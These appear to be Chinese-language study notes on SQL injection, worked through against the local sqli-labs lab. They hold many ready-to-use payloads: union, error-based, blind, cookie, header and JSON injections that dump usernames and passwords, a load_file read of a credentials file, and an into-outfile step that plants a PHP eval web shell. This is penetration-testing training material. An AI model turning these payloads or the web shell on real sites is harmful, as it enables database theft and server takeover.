网安-SQL注入-sqli-labs
目录
SQL注入
SQL注入-数据库
关系型数据库
非关系型数据库
数据库服务器层级关系
SQL语句语法
系统库
1.information_schema 库
2.performance_schema库
3.mysql库
4.sys库
SQL注入-高权限注入
MySQL 权限介绍
文件读写注入的原理
网站绝对路径
读取文件
写入文件
SQL注入-基础防御
魔术引号
内置函数
自定义关键字
其他安全防护软件
SQL注入-数据类型
1.数字型注入点
2.字符型注入点
3.搜索型注入点
4.xxx型注入点
SQL注入-数据提交方式
GET方式注入
POST方式注入
Request方式注入
HTTP头注入
Header头
Header头部注入
SQL注入-查询方式
select 查询数据
delete 删除数据
insert 插入数据
update 更新数据
SQL注入-盲注
1.基于报错的SQL盲注 - 报错回显(强制性报错 )
函数解析:
updatexml():
extractvalue():
floor()报错注入
group by floor(rand(0)*2)报错原理
floor(rand(0)*2)报错的过程:
less-11
1.找注入点
2.判断字段值
4.信息收集
2.基于时间的SQL盲注 - 延时判断
if(a,b,c):
less-2
mid(a,b,c):
substr(a,b,c):
left(a,b):
推荐使用ASCII码
3.基于布尔的SQL盲注 - 逻辑判断
less-5
1.猜解数据库的名字
2.猜解表名
SQL注入-加解密注入
less-21关 Cookie加密注入
SQL注入-堆叠注入
SQL注入-json注入
json注入
原理:
危害:
防御:
sql注入-xff注入
xff防御
XFF的危害
sqli-labs
less-1 字符型注入
1.找注入点
编辑2.判断字段值
3.找回显点
4.信息收集(注意union前后格式要相同)
5.开始逐级爆破
查数据库
查表名
查字段
获取username、password
less-2 数字型注入
1.找注入点
编辑2.判断字段值
剩余同less-1
3.找回显点
less-3 ')闭合
less-4 ")闭合
less-5报错/布尔盲注
1.猜解数据库的名字
2.猜解表名
less-6"闭合 报错注入
less-7outfile写马注入
less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
1.找注入点
2.判断字段值
3.找回显点
4.信息收集
编辑剩余同less-1
1.找注入点
剩余同less-1
SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入-数据库
关系型数据库
关系型数据库,存储的格式可以直观地反映实体间的关系,和常见的表格比较相似。
关系型数据库中表与表之间有很多复杂的关联关系。
常见的关系型数据库有MySQL,Orcale,PostgreSQL , SQL Server等。
非关系型数据库
随着近些年技术方向的不断扩展,大量的NoSQL数据库如 Mon goDB,Redis出于简化数据库结构,避免冗余,影响性能的表连接。摒弃复杂分布式的目的设计NoSQL数据库,适合追求速度和可扩展性,业务多变的场景。
数据库排行:https://db-engines.com/en/ranking
数据库服务器层级关系
服务器里面
↓
多个数据库
↓
多个数据表
↓
多个行 列 字段
↓
数据
SQL语句语法
查询当前数据库服务器所有的数据库
show databases;
选中某个数据库
use 数据库名字 test
查询当前数据库所有的表
show tables;
1.查询t1表所有数据 2.查询关键 select 3.* 所有 4.from 表名
select * from t1;
条件查询 id=2
where 条件
select * from t1 where id=2;
1.查询id=2 pass =111 2.union 合并查询
3. 2个特性:
前面查询的语句和后面的查询语句结果互不干扰
前面的查询语句的字段数量和后面的查询语句字段数量要一致
4. * == 3
select id from t1 where id=-1 union select * from t1 where pass =111;
order by 排序
order by 字段名字 id 也可以 跟上数字 1 2 3 4
猜解表的列数 知道表有几列
系统库
提供了访问数据库元数据的方式。元数据是关于数据库的数据,如数据库名和表名,列的数据类型或访问权限。
1.information_schema 库
是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。web渗透过程中用途很大。
SCHEMATA 表:提供了当前MySQL实例中所有数据库信息, show databases结果取之此表。
TABLES表:提供了关于数据中表的信息table_name
COLUMNS表:提供了表的列信息,详细描述了某张表的所有列以及每个列的信息column_name
table_schema 是 (数据库) 的名称。
table_name 是具体的表名。
table_type 表的类型。
2.performance_schema库
具有87张表。
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。
3.mysql库
核心数据库,类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码
4.sys库
具有1个表,100个视图。
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据。
可以查询谁使用了最多的资源,哪张表访问最多等。
SQL注入-高权限注入
在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。
网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。
多个网站共享mysql服务器
MySQL 权限介绍
mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,
mysql 5.7.22
select * from user where user='root' and host='localhost'\G;mysql权限表的验证过程为:先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。通过身份认证后,进行权限分配,按照user,db,tables_priv,columns_priv的顺序进行验证。即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。2.1 系统权限表User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 Procs_priv表:存放存储过程和函数级别的权限2. MySQL 权限级别分为: 全局性的管理权限: 作用于整个MySQL实例级别 数据库级别的权限: 作用于某个指定的数据库上或者所有的数据库上 数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象3.查看mysql 有哪些用户:mysql> select user,host from mysql.user;4.查看用户对应权限select * from user where user='root' and host='localhost'\G; #所有权限都是Y ,就是什么权限都有5.创建 mysql 用户有两种方式创建MySQL授权用户执行create user/grant命令(推荐方式)CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';通过insert语句直接操作MySQL系统权限表6.只提供id查询权限grant select(id) on test.temp to test1@'localhost' identified by '123456';7.把普通用户变成管理员GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;8.删除用户drop user finley@'localhost';
?id=-1 union select 1,2,group_concat(table_name) from information_schema.columns where table_schema ='pikachu'--+
文件读写注入的原理
利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。
文件读写注入的条件
高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
网站绝对路径
Windows常见:
Phpstudy phpstudy/www
phpstudy/PHPTutorial/www
Xampp xampp/htdocs
Wamp wamp/www
Appser appser/www
Linux常见:
var/mysql/data var/www/html
路径获取常见方式:
报错显示,遗留文件,漏洞报错,平台配置文件等
读取文件
函数:load_file()
后面的路径可以是单引号,0x,char转换的字符。
注意:路径中斜杠是/不是\。
一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...
?id=-1 union select 1,2,load_file('D:\\phpstudy_pro\\WWW\\sql\\sql-connections\\db-creds.inc')--+
写入文件
函数:into outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)
outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径。
文件已存在会报错。
SQL注入-基础防御
魔术引号
魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。
最好在编码时不要转义而在运行时根据需要而转义。
在php.ini文件
magic_quotes_gpc = On 开启
将其改为
magic_quotes_gpc = Off 关闭
内置函数
做数据类型的过滤
is_int()等
addslashes()
mysql_real_escape_string()
mysql_escape_string()
自定义关键字
str_replace()
其他安全防护软件
WAF ......
SQL注入-数据类型
1.数字型注入点
许多网页链接有类似的结构 [http://xxx.com/users.php?id=1](http://xxx.com/users.php?id=1) 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 `select * from 表名 where id=1` 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where id=1 and 1=1`
2.字符型注入点
网页链接有类似的结构 [http://xxx.com/users.php?name=admin](http://xxx.com/users.php?name=admin) 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 `select * from 表名 where name='admin'` 值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where name='admin' and 1=1 '` 我们需要将这些烦人的引号给处理掉。
3.搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 `"keyword=关键字"` 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:`select * from 表名 where 字段 like '%关键字%'` 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:`select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'`
4.xxx型注入点
其他型:
也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx') or 1=1 # )
常见的闭合符号:' '' % ( {
SQL注入-数据提交方式
GET方式注入
get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入。
POST方式注入
post提交方式主要适用于表单的提交,用于登录框的注入
方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示。
Request方式注入
概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用
超全局变量:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了。
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
HTTP头注入
Header头
通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分
Header头部注入
header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。
SQL注入-查询方式
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显得原因可能时SQL语句查询方式问题导致,这个时候我们需要用到报错或者盲注进行后续操作,同时在注入的过程中,提前了解其中SQL语句可以更好的选择对应的注入语句。
select 查询数据
例如:在网站应用中进行数据显示查询操作
select * from user where id=$id
delete 删除数据
例如:后台管理里面删除文章删除用户等操作
delete from user where id=$id
insert 插入数据
例如:在网站应用中进行用户注册添加操作
inser into user (id,name,pass) values(1,'zhangsan','1234')
update 更新数据
例如:后台中心数据同步或者缓存操作
update user set pwd='p' where id=1
SQL注入-盲注
盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:
1.基于报错的SQL盲注 - 报错回显(强制性报错 )
函数解析:
updatexml():
从目标XML中更改包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
'or updatexml(1,concat(0x7e,database()),0)or'
extractvalue():
从目标XML中返回包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String (Xpath格式字符串)
extractvalue(XML_document,XPath_String)
' or extractvalue(1,concat(0x7e,database())) or'
' union select 1,extractvalue(1,concat(0x7e,(select version())))%23
函数应用:
floor()报错注入
原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。
报错需要满足的条件:
floor()报错注入在MySQL版本8.0 、7.3.4nts已失效
注入语句中查询用到的表内数据必须>=3条
需要用到的count(*)、floor()或者ceil()、rand()、group by
函数:
floor():向下取整 floor(10.5) = 10
rand():随机数 0 ~ 1之间
count(*):函数返回表的记录数。
concat函数:将多个字符串连接成一个字符串
group_by: 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。
会建立一张临时表
注意:多个字段分组要使用某个列的聚合函数 cout sum等
爆出当前数据库?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23爆出所有的数据库 通过limit来控制?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23爆出表名?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23爆出字段?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23爆出数据?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
group by floor(rand(0)*2)报错原理
实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下是 0110110011 ......的顺序
mysql官方有给过提示,就是查询的时候如果**使用rand()的话,该值会被计算多次。
“被计算多次”*就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。
从上面可以看到在一次多记录的查询过程中floor(rand(0)*2)的值是定性的,为011011…(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)被计算多次导致的。
floor(rand(0)*2)报错的过程:
具体看select count(*) from student group by floor(rand(0)*2);的查询过程
x和c是别名
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
less-11
1.找注入点
单引号闭合
2.判断字段值
4.信息收集
extractvalue
-1' union select 1,extractvalue(1,concat(0x7e,(select version())))--+ &passwd=admin&submit=Submit
-1' union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))--+ &passwd=admin&submit=Submit
-1' union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+ &passwd=admin&submit=Submit
updatexml
-1' union select 1,updatexml(1,concat(0x7e,(select database())),1)--+ &passwd=admin&submit=Submit
-1' union select 1,updatexml(1,concat(0x7e,database()),1)--+ &passwd=admin&submit=Submit &passwd=admin&submit=Submit
'or updatexml(1,concat(0x7e,database()),0)or'
-'or updatexml(1,concat(0x7e,(select database())),0)or'
2.基于时间的SQL盲注 - 延时判断
sleep():sleep函数可以使计算机程序(进程,任务或线程)进入休眠
if():if是计算机编程语言一个关键字,分支结构的一种
mid(a,b,c): 从b开始,截取a字符串的c位
substr(a,b,c):从b开始,截取字符串a的c长度
left() : left(a,b)从左侧截取a的前b位
length(database())=8 : 判断长度
ord=ascii ascii(x)=100:判断x的ascii值是否为100
if(a,b,c):
可以理解在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c
使用if与sleep结合使用:
less-2
Less-2/index.php?id=1 and sleep(if(database()='test',0,5))
可以通过length()来判断数据库的长度
Less-2/index.php?id=1 and sleep(if(length(database())=8,8,0))
mid(a,b,c):
截取字符串 数组 数字
substr只能截取字符串
Less-2/index.php?id=1 and sleep(if(mid(database(),1,1)='t',0,5))
substr(a,b,c):
substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
substr()函数使用:
left(a,b):
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
推荐使用ASCII码
1.防止引号 ' "转义
2.方便以后工具的使用
使用ascii函数()
Less-2/?id=1 and if(ascii(mid(database(),1,1))>115,sleep(5),0)--+
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);
select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);
3.基于布尔的SQL盲注 - 逻辑判断
regexp like ascii left ord mid
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
注入流程:
返回False时:
返回True时:
less-5
1.猜解数据库的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常`
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
2.猜解表名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确
注:select下的limit是第几个表。
substr下的是截取的表内容。
当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r
当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e
当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为referer
SQL注入-加解密注入
Base64是网络上最常见的用于传输8Bit的编码方式之一,Base64就是一种基于64个可打印字符来表示数据的方法。
less-21关 Cookie加密注入
admin'or updatexml(1,concat(0x7e,database()),1)or'
YWRtaW4nb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSlvcic=
剩余同less-1
SQL注入-堆叠注入
在SQL中,分号;是用来表示一条sql语句的结束,在;结束一个sql语句后面继续构造下一个语句会一起执行,造就了堆叠注入。
union injection(联合注入)也是将两条语句合并在一起,区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句。
但许多数据库不支持堆叠查询。
less-38
/Less-38/?id=1';insert into users(id,username,password) values ('666','hello','world')--+
SQL注入-json注入
JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAscript(European Computer Manufacturers Association, 欧洲制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。
json注入
原理:
JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造JSON,则可以更改JSON 数据的语义。
危害:
攻击者可以利用JSON注入漏洞在JSON数据中插入元素,从而允许JSO数据对业务非常关键的值执行恶意操作,获取管理权限等,严重的可能导致XSS和动态解析代码。
防御:
检查程序逻辑,根据实际需求对数据进行合理过滤和安全校验,以避免产生JSON注使用JSON标准对JSON 数据进行处理,防止JSON注入。
json={"username":"admin' order by 3#"}
json={"username":"admin' and 1=2 union select 1,2#"}
json={"username":"admin' and 1=2 union select user(),database()#"}
sql注入-xff注入
xff注入是通过http请求参数来进行注入的。
跟cookie注入的方式差不多,也是修改掉注入的请求来获取信息。
XFF,是X-Forwarded-for的缩写,X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP。
XFF注入是SQL注入的一种,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。X-Forwardedfor 可以随意设置字符串,如果程序中获取这个值,再带入数据库査询会造成 SQL 注入。除了 X-Forwarded-For ,还有 HTTP CLIENT IP 都可以由客户端控制值,所以服务端接受这两个参数的时候没有过滤会造成 SQL注入或者更高的危害。
xff防御
1.限制登录次数,根据|P地址
2.防止异地登录 IP地址
XFF的危害
1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
2.网页篡改:通过操作数据库对特定网页进行篡改。
3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
4.数据库被恶意操作:数据库服务器被攻击数据库的系统管理员帐户被窜改。
5.服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
getenv(' HTTP_CLIENTIP')是获取当前客户端的IP,可以伪造。
如果用代理服务器接访问的,它记录的就是代理服务器的IP,而不是真实的用户IP。也就是说,这个ip地址可以进行伪造的。
HTTP CLIENT IP:获取当前客户端的IP
HTTP_X_FORWARDED_FOR:浏览当前页面的用户计算机的网关
REMOTE ADDR:浏览当前页面的用户计算机的ip地址
getenv():获取当前系统的环境变量
通过bp抓包后,发现没有X-Forwarded-for
可以通过伪造X-Forwarded-for来实现注入【不常见】
X-Forwarded-for :1.1.1.1' and 1=1#
查表名
X-Forwarded-For:127.0.0.1'and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='bank'),3,4 #
剩余同less-1
sqli-labs
less-1 字符型注入
1.找注入点
有回显,字符型注入,单引号闭合
?id=1 and 1=2
2.判断字段值
字段值为3
?id=1' order by 4--+
?id=1' order by 3--+
3.找回显点
?id=-1' union select 1,2,3 --+
4.信息收集(注意union前后格式要相同)
database():当前数据库名
version():数据库版本user():数据库用户,用于判断是否有最高权限
数据库版本version()
高版本:5.0 系统库:infromation …
低版本:5.0
?id=-1' union select 1,database(),version()--+
5.开始逐级爆破
查数据库
?id=-1' union select 1,database(),group_concat(schema_name) from information_schema.schemata--+
group_concat()函数可以让多个数据在一行显示,但是只能显示64位,可以选择截取或者用limit的方式显示全部数据。
?id=-1' union select 1,2,(schema_name) from information_schema.schemata limit 0,1--+
查表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.columns where table_schema ='security'--+
查字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name = 'users'--+
获取username、password
?id=-1' union select 1,2,group_concat(username) from security.users--+
?id=-1' union select 1,2,group_concat(password) from security.users--+
?id=-1' union select 1,2,(select group_concat(username,0x3a,password)from security.users)--+
less-2 数字型注入
1.找注入点
?id=1 and 1=2 网页无回显-->数字型注入
不需要闭合符
2.判断字段值
?id=1 order by 4
剩余同less-1
3.找回显点
?id=-1 union select 1,2,3 --+
less-3 ')闭合
剩余同less-1
less-4 ")闭合
剩余同less-1
less-5报错/布尔盲注
1.猜解数据库的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常`
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
2.猜解表名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确
注:select下的limit是第几个表。
substr下的是截取的表内容。
当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r
当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e
当前库下(注入点连接的数据库)第一个表ASCII码为.... 解码为referer
less-6"闭合 报错注入
"闭合
?id=-1" union select 1,extractvalue(1,concat(0x7e,database()))--+
?id=-1" union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+
字段数不匹配,应该有3列
?id=-1" union select 1,2,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+
剩余同less-1
less-7outfile写马注入
'))闭合 字段为3
?id=1')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "D:/phpstudy_pro/WWW/sql/Less-7/ma.php"--+
less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
1.找注入点
'闭合
2.判断字段值
3.找回显点
联合查询union select
-1' union select 1,2 --+&passwd=admin&submit=Submit
4.信息收集
-1' union select 1,database() --+&passwd=admin&submit=Submit
剩余同less-1
less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
1.找注入点
uname=admin666' and 1=1--+&passwd=admin&submit=Submit
单引号,报错型,cookie型注入。
Cookie: uname= -1' union select 1,2,database()--+